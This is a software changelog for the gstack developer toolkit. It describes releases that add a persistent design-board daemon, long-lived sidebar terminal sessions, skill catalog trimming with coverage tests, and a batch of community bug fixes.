test/skill-coverage-matrix.ts + test/skill-coverage-matrix.test.ts — single source of truth mapping each skill to gate + periodic tests; CI gate asserts every skill has at least one gate-tier entry. 51 skills, 51 entries.

test/skill-coverage-floor.test.ts — per-skill structural-compliance smoke test (file-IO, free). Verifies frontmatter shape, generated header, body non-trivial, no leaked {{TEMPLATE}} placeholders, catalog-trim contract on description. 309 assertions across 51 skills.

test/skill-size-budget.test.ts — per-skill SKILL.md byte budget (×1.05 default ratio), total corpus budget, catalog token budget (≤7000 for v1.46). Caught regressions get a per-skill breakdown + override path.

test/cso-preserved.test.ts — pins cso's must-not-strip security guidance phrases (OWASP, STRIDE, daily/comprehensive mode discipline, confidence scoring, active verification). Future compression that hits cso fails CI here.

test/helpers/budget-override.ts — audit-trail logger for GSTACK_SIZE_BUDGET_OVERRIDE_REASON and EVALS_BUDGET_OVERRIDE_REASON. Append-only JSONL at ~/.gstack/analytics/spend-overrides.jsonl with timestamp + scope + reason + CI provenance.

scripts/proactive-suggestions.json — per-run registry of routing prose + voice triggers extracted from skill frontmatter during catalog trim. Agents pull on demand instead of paying for it always-loaded.

--catalog-mode=full build flag — restores v1.44 legacy multi-line catalog descriptions. Use when debugging routing regressions or when shipping skills to hosts that depend on the legacy fat catalog.

--explain-level=terse build flag — opt-in compression of ## Writing Style + ## Completeness Principle + ## Confusion Protocol + ## Context Health preamble sections. Default build keeps the runtime-conditional behavior intact (the model still skips when EXPLAIN_LEVEL: terse appears in the preamble echo); terse build makes the compression structural.

EVALS_BUDGET_HARD_CAP environment variable (umbrella $30 default) + per-suite EVALS_BUDGET_HARD_CAP_GATE=$25, EVALS_BUDGET_HARD_CAP_PERIODIC=$70. Build fails if a single run exceeds; EVALS_BUDGET_OVERRIDE_REASON env unblocks + audit-logs.

Changed

Skill frontmatter description: blocks across 51 skills trimmed to a single lead sentence + (gstack) tag. Routing prose ("Use when asked to...", "Proactively suggest...") and voice triggers moved to a ## When to invoke body section in each SKILL.md. Always-loaded catalog cost drops ~56%.

Jargon list (scripts/jargon-list.json, 80 terms) no longer inlined into every tier-2+ skill. ## Writing Style now references the JSON path; agents Read it once per session on first jargon term encountered. Saves ~70 KB of duplicated text across the corpus.

ResolverEntry union type in scripts/resolvers/types.ts + unwrapResolver helper. Resolvers can now be either bare functions (current behavior) or { resolve, appliesTo? } gated entries. scripts/gen-skill-docs.ts:444 checks the gate before invocation. Infrastructure for future per-skill resolver gating; all current resolvers stay bare functions and work unchanged.

TemplateContext gains an optional explainLevel: 'default' | 'terse' field threaded from the --explain-level build flag.

Fixed

Catalog descriptions no longer collide with adjacent YAML fields (initial implementation produced description: ... (gstack)allowed-tools: with no newline; fixed by appending \n to the replacement).

For contributors

New skills require an entry in test/skill-coverage-matrix.ts — at minimum referencing test/skill-coverage-floor.test.ts in gate[]. The CI gate at test/skill-coverage-matrix.test.ts fails fast on missing entries.

New must-preserve invariants for a skill family go in PARITY_INVARIANTS in test/helpers/parity-harness.ts. Adding invariants is additive; removing one is a deliberate scope decision.

The scripts/jargon-list.json is the canonical glossary. Add terms there; gen-skill-docs picks them up automatically on next regen.

test/fixtures/parity-baseline-v1.44.1.json is the locked v1→v2 reference. Do not modify; capture new snapshots at later tags via bun run scripts/capture-baseline.ts --tag <name>.

[1.45.0.0] - 2026-05-25

Design boards now live 24 hours, not 10 minutes. One daemon hosts every board, one tab survives the whole day.

Run $D compare --serve and you get a persistent design daemon at .gstack/design.json instead of a fresh process per call. Open three design sessions across an afternoon and they all land at /boards/<id>/ on the same port. The browser tab you opened first still works for the board you published an hour later. The idle timeout went from 10 minutes (the old per-process server) to 24 hours of inactivity (the daemon's lifetime). Submit a board, the URL stays accessible until the daemon idles out, so you can scroll back through the day's design history at http://127.0.0.1:N/.

Skill invocations (/design-shotgun, /design-consultation, /plan-design-review, /design-review, /office-hours) keep calling $D compare --serve exactly the same way. The CLI shape is unchanged. What's different is the binary now self-execs into daemon mode under the hood, attaches to a running daemon if one is there, spawns a fresh one if not, and prints BOARD_PUBLISHED: http://127.0.0.1:N/boards/<id>/ to stderr so the skill can echo the URL. The legacy --no-daemon flag preserves the old single-process behavior for tests and debugging.

The numbers that matter

Source: bun test design/test/ and git diff origin/main...HEAD --stat.

Metric Before After Δ

Idle timeout per board 10 minutes 24 hours 144×

Server processes for N boards N 1 N×

Browser tabs to keep open one per board one total N×

Design tests in repo 16 77 +61

Test paths covered (failure modes) not enumerated 38 / 100% full coverage

Plan-review findings absorbed pre-impl 2 19 17× from Codex

Component New lines Test lines

design/src/daemon.ts ~580 34 tests

design/src/daemon-client.ts ~340 23 tests

design/src/daemon-state.ts ~180 (via client + daemon tests; direct stale-lock reclaim coverage)

Browser round-trip via HTTP (existed) 4 tests

The compression: 61 new tests cover every endpoint, lifecycle path, LRU eviction, real idle-shutdown behavior (spawn-based, daemon process observed exiting after IDLE_MS), the bare-GET-doesn't-reset-idle invariant (poll loop in background, daemon still idles out), the idle-with-active-boards extension path with MAX_EXTENSIONS hard ceiling, concurrent-CLIs lock race (two parallel ensureDaemon calls converge on one daemon), identity-verified spawn, version mismatch with and without active boards, PID-reuse safety, path traversal rejection, malformed-body negatives on every POST, and cross-board feedback isolation. The plan-review pass caught 2 architectural issues in-house; an outside Codex pass caught 17 more, all absorbed into the implementation before any code was written; the /ship review army caught 1 backwards-compat break in skill resolvers (fixed) + 5 deferred test gaps (filled). The version-mismatch path now refuses to silently kill a daemon with active boards (it prints a warning and exits 1), so upgrading gstack mid-design-session doesn't drop your in-memory board history.

What this means for the builder

Open /design-shotgun Monday morning, work through three rounds of variants, walk away for lunch, come back, click Submit. The board is still there. Open a second /design-shotgun for a different feature in the afternoon, get a new URL at /boards/<another-id>/, no port churn, your morning board still works. The whole day's worth of design exploration accumulates as a browsable history at the daemon's root. Stop worrying about the 10-minute death clock.

Itemized changes

Added

Persistent design daemon (design/src/daemon.ts). Bun HTTP server on 127.0.0.1 hosting many boards under /boards/<id>/. Per-board state machine (serving | regenerating | done), LRU cap of 50 boards (evicts done first, returns 503 when 50 non-done coexist), 24h idle timeout with 1h extensions up to a 28h ceiling when boards are still active, per-board async mutex serializing feedback POST vs reload POST. Index page at / lists recent boards newest first.

$D daemon status and $D daemon stop [--force]. The stop sub-command refuses without --force when active boards exist, so a casual stop doesn't drop in-flight history.

Daemon client (design/src/daemon-client.ts). ensureDaemon() handles spawn-or-attach with file-lock-protected spawn (re-reads state inside the lock to close the two-CLIs-race window) and identity-verified SIGTERM (reads /proc/PID/cmdline on Linux, ps -p PID -o command= on macOS, only signals if gstack-design-daemon is in the cmdline). PID-reuse safety: if the state file points at a PID belonging to an unrelated process, no signal is sent and a fresh daemon spawns. Version-mismatch refusal: if a CLI from a newer gstack version arrives while boards are still open in an older daemon, the CLI prints a user-actionable warning and exits 1 instead of silently restarting and losing history.

Shared daemon state utilities (design/src/daemon-state.ts). Atomic state-file write (<tmp> + renameSync at mode 0o600), fs.openSync('wx') exclusive lock, cross-platform cmdline reader, version lookup that falls back through DESIGN_DAEMON_VERSION env → design/dist/.version baked at build time → source-tree VERSION → "unknown".

End-to-end round-trip tests against a real spawned daemon (design/test/feedback-roundtrip-daemon.test.ts). HTTP fetch drives publish → submit → regenerate → reload → round-2 submit, asserting feedback.json lands at the daemon-derived sourceDir with boardId and publishedAt augmented fields.

Changed

Board JS uses relative URLs instead of an injected __GSTACK_SERVER_URL global. The same generated HTML works at / (legacy --no-daemon) and /boards/<id>/ (daemon). location.protocol feature-detect keeps the file:// DOM-only fallback path working.

Bare GET /boards/<id> returns 301 to /boards/<id>/. The trailing slash is load-bearing for relative-URL resolution in the board JS; without it, fetch('./api/feedback') would resolve to the wrong scope.

Reload guard rejects directory paths. design/src/serve.ts:200-212 previously let resolvedReload === allowedDir through, which then crashed readFileSync with EISDIR. Now requires statSync(resolvedReload).isFile() with a clear 400 instead.

Feedback files carry boardId and publishedAt so agents polling feedback.json / feedback-pending.json in a multi-board world can verify which board produced what.

sourceDir is derived from realpath(html) server-side, never trusted from the publish POST body.

Skill resolvers and templates (scripts/resolvers/design.ts, design-shotgun/SKILL.md, design-consultation/SKILL.md, plan-design-review/SKILL.md, office-hours/SKILL.md) updated to parse BOARD_URL: from stderr and POST reloads to ${BOARD_URL}api/reload instead of the legacy port-only /api/reload. Legacy SERVE_STARTED: port=N html=... line still emitted for back-compat.

Fixed

Compiled design binary self-execs as the daemon via a --daemon-mode flag, so the daemon lifecycle works for users installing from design/dist/design (not just bun run against the source tree).

Version lookup is consistent between client and daemon. Both go through readVersionString(), so the version-mismatch refusal path works on the compiled binary instead of always reading "unknown" and matching itself.

For contributors

Test infrastructure split: design/test/daemon.test.ts (30 in-process tests against the exported fetchHandler, ~70ms) for fast iteration; design/test/daemon-discovery.test.ts (17 real-spawn tests, ~8s) for lifecycle + lock + identity guarantees. Shared helpers in design/test/daemon-tests-fixtures.ts.

Plan-review process: this branch ran /plan-eng-review twice. Round 1 caught 2 architecture findings. An outside-voice Codex pass after round 1 found 17 more (URL contract self-contradiction, false test-green claim, lock semantics, identity verification, version-mismatch silent data loss, several others). Round 2 absorbed all 17 before implementation started. The full review trail is preserved in the plan file's ## GSTACK REVIEW REPORT section.

[1.44.1.0] - 2026-05-24

Nine community fixes ship in one bundle. Office-hours session counter works again, iOS QA tunnels survive macOS 26.x, Windows brain-sync stops dropping artifacts, browse server tells you whether the bind failure was a port collision or a sandbox block.

The fix wave pattern runs its second pass after v1.43.2.0's 15-PR Daegu wave. Nine contributor PRs land in eleven commits plus a merge from new main. Each cherry-pick routes through git cherry-pick per-commit so contributor authorship survives in git log --author, with Co-Authored-By trailers for GitHub's contribution UI. Wave-meta files (VERSION, CHANGELOG, version-only package.json bumps) stripped per cherry-pick so the wave owns its own bump cleanly.

The triage caught a real failure mode mid-flight. An initial scope of 18 PRs went through Codex review as outside voice; Codex flagged that 9 of the 18 had already shipped via v1.43.2.0 or sibling commits. Verified against current main (bin/gstack-gbrain-sync.ts:404 already wraps {sources:[...]}, browser-manager.ts:30 already has isCustomChromium, server.ts:209 already has ownsTerminalAgent). Recompute trimmed the wave from 18 to 9, saving nine empty cherry-picks and nine misleading "landed in" close comments to contributors whose work had already merged via another route.

The numbers that matter

Source: git log origin/main..HEAD and gh pr view --json closingIssuesReferences per wave PR.

Metric Value

Community PRs landed 9

Distinct contributors credited 9

Issues auto-closed by merge 4

Files changed 26

Lines added 1,651

Lines removed 114

Wave commits (excluding merge) 11

Already-shipped PRs caught + politely closed 9

Paid eval suites that ran (all PASS) 6

What this means for contributors

Your fix lands as a commit with your name in git log --author=<your-handle>. If your PR had multiple commits, each lands separately so dates and trailers survive. If your fix was the same as something that shipped via another route in v1.43.2.0, you get a close comment pointing at the CHANGELOG line that credits you by name. The recompute step that catches duplicates is now part of every future fix wave.

Itemized changes

Added

/investigate freeze hook resolves on standalone marketplace installs. Falls back through both bundled and standalone freeze-bin paths instead of crashing on a hardcoded ../freeze/ lookup. Closes #1647. Contributed by @Gujiassh via PR #1648.

gstack-next-version --version-path flag plus .gstack/version-path config: monorepo VERSION layouts now work. Contributed by @cfeddersen via PR #1627.

Fixed

/office-hours SESSION_COUNT stuck at 0 since v1.0. Writer wrote to legacy builder-profile.jsonl, reader read from new developer-profile.json. Reader-path auto-migrates existing legacy data on first call; existing users keep their session history. 33 regression tests plus a static-grep invariant pinning the no-legacy-writes contract. Closes #1671, #1677. Contributed by @pryow via PR #1676.

gstack-timeline-read --branch "feature/o'hare" no longer breaks on single-quoted branch names. Filters passed as data, not interpolated into a shell command. Closes #1634. Contributed by @jbetala7 via PR #1635.

browse server localhost bind: distinguishes EADDRINUSE (real port collision) from sandbox EPERM (Codex/Conductor shell sandbox blocking the bind syscall). Tells the user which one happened. Contributed by @spacegeologist via PR #1664.

v1.40.0.0 migration on jq-less machines: defers done-marker until every repair succeeds, instead of writing it unconditionally. Re-runs the migration on next upgrade for users who hit the pre-fix path. 8-case regression test. Closes #1581. Contributed by @stedfn via PR #1589.

Three Windows brain-sync bugs: backslash vs forward-slash globs, bash-shebang subprocess fail on cmd.exe, CRLF on stdout breaking git add. Static-invariant tests added to windows-free-tests.yml. Contributed by @daveowenatl via PR #1672.

gstack-diff-scope detects bun.lock (Bun v1.2+ text lockfile) alongside bun.lockb. Without this, eval-select skipped lockfile changes on Bun 1.2+. Contributed by @hiSandog via PR #1649.

iOS QA on macOS 26.x: coredevice.local resolution falls through xcrun devicectl → dns.lookup → dns.resolve6 so the tunnel comes up even when mDNSResponder is bypassed. Tunnel keepalive added so long-running QA sessions survive. Contributed by @sternryan via PR #1673.

[1.44.0.0] - 2026-05-23

Sidebar Claude Code now survives the day. WebSocket keepalive, transparent re-attach across network blips with scrollback intact, and a restart button that actually kills the old claude before spawning the new one. Outer supervisor opt-in so the browse server itself can crash and recover without you noticing.

The sidebar's embedded claude PTY used to stop connecting after a while, and the Restart button only closed the client-side WebSocket without killing the running process. Closing the browser left zombie claude processes alive for minutes. None of that any more.

Five compounding timeouts on the v1.43 path: PTY session token TTL was 30 minutes with no refresh, no WebSocket keepalive (NAT idle timeouts of 30-60s silently dropped connections), the server's 30-minute idle timeout didn't account for active PTY sessions, the sidebar gave up after 15 seconds on cold start, and there was no auto-reconnect after a WS close. On top of that, a pkill -f terminal-agent\.ts regex in the agent teardown matched sibling gstack sessions on the same host. All six fixed.

The numbers that matter

Source: 13 bisect commits on this branch (git log v1.43.3.0..HEAD --oneline), 12 new test files, 83 new unit-tier static-grep + behavioral tests; full bun test suite green. Live re-attach behavior runs against GSTACK_PTY_DETACH_WINDOW_MS=1000 so the 60s detach window verifies in <2s of CI time.

Surface Before After

Sidebar idle 5 min, then keystroke Reconnect spinner, ~3s to first byte Immediate output — WS keepalive kept the socket alive

Wifi blip mid-session "Session ended" — click Restart, lose scrollback Silent re-attach within 8s, scrollback intact, keep typing

Click Restart with claude mid-task Old claude killed asynchronously; race window with new spawn; user must type a key to see new prompt Server disposes old PTY synchronously, mints new lease in one transaction, eager {type:"start"} boots claude before the prompt renders

Close sidebar / quit browser Zombie claude lingers for 60s (detach window) pagehide sendBeacon /pty-dispose cleans up immediately

Terminal-agent dies (OOM, signal) Sidebar shows broken connection until manual reload 60s watchdog with PID-liveness check (no split-brain) respawns agent automatically; 3-in-60s crash-loop guard

Browse server itself crashes Headed browser orphaned, manual $B connect re-run Opt-in $B connect --supervise keeps CLI attached, respawns server with 1s/2s/4s/8s/30s backoff, 5-in-5min guard

Two $B connect sessions on same host Restart in session A kills session B's terminal-agent via pkill -f regex match Identity-based process.kill(pid) against a per-boot agent record. Static-grep test fails CI if pkill -f terminal-agent reappears anywhere in source

PTY token leakage in logs / DevTools Bearer token doubled as session identifier (codex outside-voice flagged it) Stable non-secret sessionId separated from short-lived attachToken; lease lifecycle owns session liveness

What this means for you

Open the sidebar once. Use it. Close your laptop. Wake up tomorrow. Type a key. It just works. The whole "the terminal stopped working, let me reload the sidebar" reflex you've built up over the v1.40s — you don't need it any more.

Itemized changes

Added

Long-lived PTY connection (browse/src/terminal-agent.ts, extension/sidepanel-terminal.js) — 25s WebSocket keepalive ping/pong cycle from both sides. NAT idle drops and Chrome MV3 panel-suspend cycles no longer silently kill the socket. Env-overridable via GSTACK_PTY_KEEPALIVE_INTERVAL_MS.

Session lease + attachToken model (browse/src/pty-session-lease.ts) — Stable non-secret sessionId separated from short-lived secret attachToken. Re-attach within the lease window refreshes a fresh attachToken bound to the same sessionId; session identity stays loggable, bearer credential stays out of logs.

Scrollback replay on re-attach (browse/src/terminal-agent.ts) — 1 MB frame-based ring buffer per session with ESC-boundary scan and alt-screen tracking (CSI ?1049h/l). On re-attach, client writes RIS (\x1bc) to xterm, server prepends DECSTR soft reset + optional alt-screen re-enter + ring buffer. Replay renders cleanly even mid-tool-call. Env-overridable via GSTACK_PTY_RING_BUFFER_BYTES.

60s detach window with re-attach (browse/src/terminal-agent.ts) — WS close with any code other than 4001 (intentional), 4404 (no-claude), or 1000 (clean exit) keeps the PTY alive for 60s. New WS upgrade matching the same sessionId resumes the same claude process. Env-overridable via GSTACK_PTY_DETACH_WINDOW_MS.

Working Restart button (browse/src/server.ts, extension/sidepanel-terminal.js) — POST /pty-restart is one transaction: dispose old session scope-to-sessionId, revoke old lease, mint fresh sessionId + lease + attachToken, return the 4-tuple. Client sends {type:"start"} immediately on the new WS for eager spawn — no keystroke required.

Explicit dispose on sidebar close (extension/sidepanel.js) — pagehide handler fires navigator.sendBeacon('/pty-dispose', {sessionId, authToken}) so browser quit / panel close / extension reload disposes the session immediately. Server route accepts auth token in the body (sendBeacon-compatible — no custom headers).

PID-identity terminal-agent kill (browse/src/terminal-agent-control.ts) — Replaces pkill -f terminal-agent\.ts regex teardown. Agent writes <stateDir>/terminal-agent-pid (JSON {pid, gen, startedAt}) at boot; cli.ts and server.ts use killAgentByRecord instead. Static-grep tripwire test fails CI if the regex pattern returns to source.

Terminal-agent watchdog (browse/src/server.ts) — 60s ticker checks recorded agent PID via process.kill(pid, 0). Respawns on dead PID via shared spawnTerminalAgent helper. 3-in-60s crash-loop guard with rolling window. Slow-but-alive agents intentionally fall through (split-brain defense). Env-overridable via GSTACK_AGENT_WATCHDOG_TICK_MS.

Outer browse-server supervisor (browse/src/cli.ts) — $B connect --supervise (or BROWSE_SUPERVISE=1) keeps the CLI attached, polls server PID every 30s, respawns on unexpected exit with 1s/2s/4s/8s/30s backoff. SIGINT/SIGTERM cleanly teardown the supervised server. Opt-in — default $B connect behavior unchanged for every existing caller.

Patient tryAutoConnect (extension/sidepanel-terminal.js) — Replaces the 15s give-up with indefinite 2s polling. Ascending status messages at 15s / 60s / 5min so the user knows we're still trying. Sticky-abort only on 401 (auth invalid), cleared by explicit Restart click.

/internal/healthz route + internalHandler<T> helper (browse/src/terminal-agent.ts) — Liveness probe used by the watchdog (returns pid/gen/sessions count, doesn't touch claude binary lookup). Helper collapses four /internal/* routes' bearer-auth + X-Browse-Gen check + JSON parse into one-liner calls.

Changed

/pty-session response shape (browse/src/server.ts) — Now returns {terminalPort, sessionId, attachToken, leaseExpiresAt}. Legacy ptySessionToken + expiresAt aliases preserved for one minor release.

ServerConfig.ownsTerminalAgent teardown — Now runs four side effects (was three): identity-based kill via killAgentByRecord, plus unlinks for terminal-port, terminal-internal-token, and the new terminal-agent-pid. Documented in CLAUDE.md.

Fixed

Sibling gstack sessions killed by pkill -f terminal-agent\.ts — Pre-v1.44 the teardown matched argv regex; any process whose command line contained terminal-agent.ts got SIGTERM'd. Closes the TODOS.md P3 item filed during v1.41 (Identity-based terminal-agent kill).

Seven pre-existing test failures unrelated to this branch — Three env-pollution failures (Bun's Bun.which('bash') returning null and Bun.spawn(['bun', ...]) ENOENT after a sibling test mutated process.env.PATH), two stale-marker failures in server-auth.test.ts ('Sidebar agent started' → 'Terminal agent started'), setup-codesign.test.ts looking for the unwrapped bun run build string (now bun_cmd run build), and upgrade-migration-v1.test.ts reading the developer's real config because it didn't override HOME. Fixed via a narrow global test-setup.ts (restores PATH only after every test) plus targeted marker + env-passing fixes.

For contributors

Test framework bunfig.toml + test-setup.ts — Global afterEach restores process.env.PATH only. Narrow on purpose — broader snapshot/restore breaks tests that legitimately set process.env.GSTACK_HOME at module load (domain-skills-storage.test.ts).

12 new test files, 83 new unit-tier tests. Static-grep tripwires defend the load-bearing protocol contracts (close codes, lease lifecycle, watchdog identity check, supervisor crash-loop guard, ring buffer ESC boundaries) without paying for live WebSocket cycles in CI.

Eng review + outside voice (codex) ran on this branch. 17 decisions baked: 10 from the in-review architecture pass (D1-D10), 6 from codex cross-model tension resolution (T1-T6, all adopted in codex's favor — most consequential was T1, separating sessionId from auth token), and 1 from in-PR scope-up of the outer supervisor.

[1.43.3.0] - 2026-05-21

Headed Chromium embedded by external supervisors stops auto-shutting-down after 30 minutes of HTTP idle.

Four module-level lifecycle handlers in browse/src/server.ts now read through an activeBrowserManager indirection so embedders (gbrowser's phoenix overlay) reach the right BrowserManager instance instead of the dead module-level one.

The dual-instance bug surfaced when a Codex plan review caught what the static eng review missed: idleCheckTick, the parent-process watchdog, the SIGTERM handler, and onDisconnect wiring all read the module-level BrowserManager directly. Embedders pass their own instance into buildFetchHandler({ browserManager: ... }), so the module-level instance never has launchHeaded() called on it. Its connectionMode stays 'launched' forever, headed-mode early-returns never fire, and after 30 minutes of HTTP idle the server kills itself out from under a still-open overlay window. The onDisconnect leak — window-close cleanup running against the wrong instance — was masked by the 30-min auto-shutdown until this fix; both ship together because they share a single root cause.

The fix introduces let activeBrowserManager: BrowserManager at module scope, symmetric with the existing let activeShutdown pattern. buildFetchHandler retargets it at cfg.browserManager and CHAINS cfg.browserManager.onDisconnect to activeShutdown instead of overwriting any handler the caller already installed. Caller exceptions are logged but never block gstack shutdown — defensive symmetry with safeUnlinkQuiet / safeKill in error-handling.ts. Caller-set onDisconnect handlers run first so embedders can snapshot or log before the process exits; gstack's shutdown owns process.exit(code) and runs last.

The numbers that matter

Source: bun test browse/test/server-factory.test.ts — 33 tests, all green. New describe block idle timer + onDisconnect dual-instance fix pins five behavioral guarantees plus a static guard.

Surface Before After

gbrowser overlay session, headed, 31 min HTTP idle Server self-terminates; overlay window orphaned Server stays alive; idleCheckTick reads cfg-instance and returns early

Headless CLI, 31 min idle Auto-shutdown (regression-protected by Test 2) Same behavior, regression test added

Tunnel-active session, headless, 31 min idle Auto-shutdown skipped (already correct) Same; Test 4 pins it behaviorally

Window-close on embedder-owned headed window browserManager.onDisconnect fires on dead module-level instance; no cleanup cfgBrowserManager.onDisconnect chained to activeShutdown; full cleanup runs

Embedder pre-installed onDisconnect handler Silently overwritten by buildFetchHandler Chained: caller's handler runs first, then gstack shutdown

SIGTERM in headed mode (embedder) Reads stale module-level instance (Codex-caught, original plan missed) Reads via activeBrowserManager

The static guard (Test 5) counts activeBrowserManager.getConnectionMode() calls outside buildFetchHandler and pins the count at exactly 3 — idleCheckTick, the parent watchdog, and the SIGTERM handler. A future refactor that reintroduces a stale read against module-level browserManager at one of those sites fails CI before the user-visible bug returns.

What this means for gbrowser

gbrowser's phoenix overlay can hold a headed Chromium window open indefinitely without gstack pulling the rug out at the 30-minute mark. Window-close cleanup reaches the right BrowserManager instance, so terminal-agent, profile locks, and state files all get torn down against the cfg-owned chrome rather than the dead module-level one. Embedders that pre-wire cfg.browserManager.onDisconnect for their own pre-shutdown work (logging, snapshotting, gbd handoff) now have that handler preserved instead of clobbered. gbrowser bumps its gstack submodule SHA after this lands; no gbrowser-side code changes required.

Itemized changes

Fixed

browse/src/server.ts: Six edit sites apply the indirection.

Edit 1 (line ~705): Declared let activeBrowserManager: BrowserManager = browserManager; alongside the module-level const browserManager. Module-level browserManager.onDisconnect default wire stays in place as the safety net for the CLI flow before buildFetchHandler runs.

Edit 2 (line ~596): Extracted the idle-check setInterval callback into a named idleCheckTick() function so behavioral tests can drive it directly. Reads activeBrowserManager.getConnectionMode().

Edit 3 (line ~658): Parent watchdog now reads activeBrowserManager.getConnectionMode().

Edit 4 (inside buildFetchHandler, line ~1387): Retargets activeBrowserManager at cfgBrowserManager and CHAINS the cfg-instance's onDisconnect to activeShutdown (preserving any caller-installed handler). Replaces what would have been a bare cfg.onDisconnect = ... clobber — caught by Codex against an earlier draft.

Edit 5 (no code change): Confirmed the module-level browserManager.onDisconnect at line 714 stays in place.

Edit 6 (line ~1212): SIGTERM handler reads activeBrowserManager.getConnectionMode(). Caught by Codex; the original eng-review plan missed this fourth lifecycle site.

__testInternals__ export: New test-only surface in browse/src/server.ts exposing idleCheckTick, setTunnelActive, setLastActivity, and resetShutdownState. Lets tests exercise the dual-instance behavior deterministically without mutating Date.now globally (which would interact with the leaked module-level setInterval) or leaking isShuttingDown state between tests.

Added

browse/test/server-factory.test.ts: New idle timer + onDisconnect dual-instance fix describe block with five behavioral tests. Reuses the existing makeMinimalConfig() + __resetRegistry() patterns from the factory contract tests; new makeMockBrowserManager() helper. Tests T1 (REGRESSION — headed embedder does not auto-shutdown), T2 (paired defensive — headless still shuts down), T3 (chain semantics — caller-set onDisconnect preserved + async via .rejects.toThrow), T4 (tunnelActive blocks shutdown), T5 (static guard — exactly 3 lifecycle sites use the indirection).

Changed

browse/test/sidebar-ux.test.ts: Deleted the old idle check skips in headed mode string-grep test at line 1596 — it grepped for === 'headed' + return and would have passed even with the dual-instance bug present. Behavioral coverage moved to server-factory.test.ts per Codex finding (duplicating partial test helpers across files rots; the factory test file already solved minimal-cfg + registry-reset).

For contributors

Cross-model review note: The eng review's static-assessment pass said "0 issues" in Architecture, Code Quality, and Performance. Codex's plan review then grounded six issues in actual code reads: Bun memoizes dynamic imports (so await import('../src/server') doesn't give fresh module state per test), initRegistry throws on token-reuse between tests, shutdown() is async (sync .toThrow() cannot catch the rejection), cfg.browserManager.onDisconnect is a public field that callers may set, the original plan missed the SIGTERM site at line 1186, and tests belong in server-factory.test.ts not sidebar-ux.test.ts. All six were verified against the actual code and incorporated into the shipped plan. The static eng review's blind spot here was runtime/module-cache semantics; the lesson is that "0 issues" from a static pass is a weaker signal than two-model consensus.

[1.43.2.0] - 2026-05-21

Three flagship workflows stop lying to users: /retro detects stale base before fabricating a narrative, /sync-gbrain resumes from gbrain's checkpoint instead of restarting the 35-min import loop, and /review forces every finding to quote the code line that motivates it.

15 community PRs plus the silent-failure trio land in one bundle: 26 bisect commits with regression tests pinning every fix.

The post-Daegu wave. v1.42.0.0 closed 23 user-filed bugs two days ago; this wave closes 18 more (15 community PRs + 3 self-filed silent-failure issues) in the same one-PR pattern. The headline change is what stops happening: /retro no longer renders a confidently-wrong retro narrative when the date window is wrong, /sync-gbrain --full no longer SIGTERMs at exactly 35 minutes with no resume path on big brains, and /review no longer ships finding lists where half the items are framework FPs the reviewer never grep'd to confirm.

The numbers that matter

Source: git log v1.42.2.0..HEAD --oneline (26 commits) plus the test sweep across all wave-touched files.

Surface Before After

/retro on a Conductor worktree whose origin/<default> is days behind the actual remote, OR with a session-context-drift "today" anchor Silently produces a clean-looking retro from zero or near-zero commits — confidently misses the last 5 days of work. The user only notices when version-bumping for the next PR (#1624) Step 0.5 pre-flight guard runs four ordered checks: no-remote skip, detached-HEAD skip, fetch-fail warn (offline), and stale-base BLOCK with explicit citation of the latest-commit date. Skip paths surface the disclosure into the retro narrative ("offline run, window not freshness-verified") instead of pretending nothing happened.

/sync-gbrain --full on a 2000-file brain SIGTERMs at hardcoded 35min (exit 143). gbrain leaves ~/.gbrain/import-checkpoint.json pointing at the staging dir, but the memory-ingest child cleans the dir up on SIGTERM. Every retry restages from scratch and SIGTERMs again forever (#1611) Bounds-checked env vars: GSTACK_SYNC_MEMORY_TIMEOUT_MS and GSTACK_SYNC_CODE_TIMEOUT_MS (60_000–86_400_000ms range; bad values warn + default). SIGTERM preserves the staging dir when gbrain has checkpointed it. Next run reads gbrain's own checkpoint and resumes from processedIndex+1. If the staging dir is gone (disk pressure cleanup, OS reboot, user manual cleanup), warn one line and restage from scratch. Reuses gbrain's checkpoint as source of truth — no double-store.

/review on a Django + DRF repo 4 of 8 findings FP — "field doesn't exist on model", "dict.get() might be None", "save() might lose fields", "update_fields might miss X". Each resolvable in <5 min by reading the actual model code, but the reviewer didn't (#1539) Pre-emit verification gate: every finding requires file:line + verbatim text of the line that motivates it. Unverified findings forced to confidence 4-5, where the existing "<7 → suppress" rule auto-fires. The four named FP classes collapse because they all require quoting code that doesn't actually exist. Framework-meta nudge guides the reviewer to quote Django Meta / Rails associations / SQLAlchemy relationships / TypeORM decorators / Sequelize init / Prisma generated client when the symbol is metaclass-generated. Deeper ORM-aware verification deferred to a future wave (design doc at ~/.gstack-dev/plans/1539-framework-aware-review.md).

/sync-gbrain --full on a freshly-registered code source (0 pages) Calls gbrain reindex-code which only re-embeds existing pages, finds nothing ("No code pages to reindex"), finishes in ~1s, leaves the code index permanently empty while reporting OK Runs gbrain sync --strategy code first (the page-creating walk), then reindex-code. Honors the documented "full walk + reindex" contract for both fresh and populated sources. Contributed by @jetsetterfl via PR #1584.

gbrain doctor inside a repo with its own DATABASE_URL in .env Bun autoloads the project's .env; gbrain connects to the wrong DB; classifier reports broken-db on otherwise-healthy brains; cached for 60s, poisoning every probe from anywhere Probe routes through buildGbrainEnv, the same helper the sync orchestrator uses. DATABASE_URL is seeded from ~/.gbrain/config.json. Result is cwd-independent — the 60s cache can no longer propagate a poisoned negative to clean directories. Contributed by @jetsetterfl via PR #1583.

/sync-gbrain against a Supabase PgBouncer transaction-mode pooler Sync fails with prepared-statement errors mid-stream; PgBouncer transaction mode doesn't support session-level prepared statements Detects the transaction-mode pooler and sets GBRAIN_PREPARE=true so gbrain falls back to compatible statement handling. Closes #1435. Contributed by @mikeangstadt via PR #1591.

Newly-provisioned Supabase project's DATABASE_URL from supabase projects api Returns the transaction-mode pooler URL (port 6543); gbrain sync fails with "prepared statement does not exist" Rewrites to the session-mode pooler URL (port 5432) for new projects. Closes #1301. Contributed by @0xDevNinja via PR #1582.

bun run benchmark prompt.txt --models claude argv parser treats claude as the positional prompt and prompt.txt as a flag value, silently runs benchmarks on the wrong model Flag values and positional prompts parsed in the right order. Closes #1603. Contributed by @jbetala7 via PR #1604.

gstack-config get explain_level Returns empty — the key wasn't in the defaults table, so every preamble that read it fell into the writing-style default branch even when the user had set terse Returns default, shows up in gstack-config list and gstack-config defaults. Closes #1607. Contributed by @jbetala7 via PR #1608.

gstack-learnings-search --cross-project from inside a project Cross-project search hid current-project learnings — the find filter excluded */$SLUG/* and the bash branch never restored them Current-project entries explicitly tagged current\t<line> and merged with cross-project entries tagged cross\t<line> before the bun block parses them. Closes #1618. Contributed by @jbetala7 via PR #1619.

